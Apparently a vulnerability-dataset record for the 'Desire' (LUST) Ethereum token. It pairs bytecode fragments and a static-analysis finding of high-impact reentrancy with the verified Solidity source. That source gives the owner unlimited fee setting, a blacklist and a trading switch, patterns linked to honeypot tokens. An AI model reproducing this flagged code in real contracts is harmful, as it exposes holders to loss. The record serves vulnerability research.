846023836130d0565b9150613b8f82613b28565b604082019050919050565b60006020820190508181036000830152613bb381613b77565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613c166029836130d0565b9150613c2182613bba565b604082019050919050565b60006020820190508181036000830152613c4581613c09565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613ca8603f836130d0565b9150613cb382613c4c565b604082019050919050565b60006020820190508181036000830152613cd781613c9b565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613d14601c836130d0565b9150613d1f82613cde565b602082019050919050565b60006020820190508181036000830152613d4381613d07565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613da66023836130d0565b9150613db182613d4a565b604082019050919050565b60006020820190508181036000830152613dd581613d99565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613e386023836130d0565b9150613e4382613ddc565b604082019050919050565b60006020820190508181036000830152613e6781613e2b565b9050919050565b6000613e798261316f565b9150613e848361316f565b925082821015613e9757613e96613623565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613efe602a836130d0565b9150613f0982613ea2565b604082019050919050565b60006020820190508181036000830152613f2d81613ef1565b9050919050565b600081519050613f4381612fb9565b92915050565b600060208284031215613f5f57613f5e612ebb565b5b6000613f6d84828501613f34565b91505092915050565b6000819050919050565b6000613f9b613f96613f9184613f76565b61321b565b61316f565b9050919050565b613fab81613f80565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613fe681612fa7565b82525050565b6000613ff88383613fdd565b60208301905092915050565b6000602082019050919050565b600061401c82613fb1565b6140268185613fbc565b935061403183613fcd565b8060005b838110156140625781516140498882613fec565b975061405483614004565b925050600181019050614035565b5085935050505092915050565b600060a0820190506140846000830188613295565b6140916020830187613fa2565b81810360408301526140a38186614011565b90506140b26060830185613349565b6140bf6080830184613295565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006140ff601b836130d0565b915061410a826140c9565b602082019050919050565b6000602082019050818103600083015261412e816140f2565b9050919050565b60006141408261316f565b915061414b8361316f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561418457614183613623565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006141eb6021836130d0565b91506141f68261418f565b604082019050919050565b6000602082019050818103600083015261421a816141de565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023ee5486db7d209105691ab5f293b3591e52cdcc8ad686f09b457d1d40fa3b6664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,584
0x3bcbf01178705202bfe41f990fe603798f2f2f81
/** *Submitted for verification at Etherscan.io on 2022-04-07 */ /** █████ ██ ██████ ███ █ ██ █ █ ███ ███ █ █ █ ███ █ █ █ █ ███ ████ ███ ████ ██ ██ ██ ███ █ ████ ████ ████ ████ █ ███ ██ ██ ██ █ ███ ██ ████ ███ ██ ████ █ ███ ██ ██ ██ █ ███ ████ ██ ██ █ ███ ██ ██ ████ ███ ███ ██ ██ ██ ███ ██ ██ ██████████ ███ ██ ██ ████████ █ ██ █████████ ███ ██ ██ ███████ █ █ ██ ████ ██ ██ ██ ██ █████ █ ████ ██ ████ █ ██ ███ ████ █ █ █████████ ███████ ████ ███ █ ███ ███████ █ ████ █████ ███ █████ █ █ █ "A healthy desire for wealth is not greed. It's a desire for life." */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Desire is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Desire"; string private constant _symbol = "LUST"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x27987cd8c20998622CA25Bfc89210615048b6EC4); address payable private _marketingAddress = payable(0x27987cd8c20998622CA25Bfc89210615048b6EC4); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public _maxWalletSize = 100000000 * 10**9; uint256 public _swapTokensAtAmount = 100000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600681526020017f4465736972650000000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4c55535400000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff